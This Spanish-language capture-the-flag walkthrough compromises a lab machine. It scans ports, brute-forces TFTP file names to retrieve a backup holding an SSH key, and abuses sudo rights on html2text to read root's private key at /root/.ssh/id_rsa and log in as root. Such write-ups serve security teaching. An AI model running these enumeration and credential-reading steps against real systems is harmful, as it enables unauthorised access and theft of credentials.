Aquí es importante no detener la enumeración cuando TCP no ofrece una ruta evidente. El hallazgo de TFTP en UDP conduce a un respaldo que expone tanto la identidad como la clave necesaria para SSH. En la escalada, html2text no ejecuta comandos, pero su capacidad de leer archivos como root basta para extraer una credencial más poderosa y convertir una lectura arbitraria en acceso total.
Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.48❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.48
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-17 18:37 -04
Nmap scan report for 192.168.1.48
Host is up (0.00042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.81 secondsComo los puertos TCP no ofrecen una vía clara, ampliamos la enumeración a UDP, donde encontramos un servicio TFTP:
❯ sudo nmap -sU --top-ports 100 -oN 03-udp.txt 192.168.1.48
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-17 23:30 -04
Nmap scan report for 192.168.1.48
Host is up (0.00031s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
MAC Address: 08:00:27:A5:7A:51 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 118.16 secondsTFTP no ofrece listado de directorios, así que hacemos fuerza bruta de nombres de archivo comunes con el módulo tftpbrute de Metasploit, y damos con un backup-config:
msf6 auxiliary(scanner/tftp/tftpbrute) > set rhosts 192.168.1.48
msf6 auxiliary(scanner/tftp/tftpbrute) > run
[+] Found backup-config on 192.168.1.48Lo descargamos:
❯ tftp 192.168.1.48
tftp> get backup-configEl archivo es un ZIP que contiene una clave id_rsa y un fichero de configuración SSH del que extraemos el nombre de usuario. Con ello accedemos como boris y obtenemos la primera flag:
❯ ssh boris@192.168.1.48 -i id_rsa
boris@beginner:~$Para escalar privilegios, revisamos los permisos sudo:
boris@beginner:~$ sudo -l
Matching Defaults entries for boris on beginner:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User boris may run the following commands on beginner:
(root) NOPASSWD: /usr/bin/html2textPodemos ejecutar html2text como root. Aunque su propósito es convertir HTML a texto plano, abusamos de él como lector de archivos arbitrarios para volcar la clave privada SSH de root:
boris@beginner:~$ sudo /usr/bin/html2text /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----Con esa clave nos conectamos directamente como root:
❯ ssh root@192.168.1.48 -i id_rsa_root
root@beginner:~#Obtenemos la flag y fin.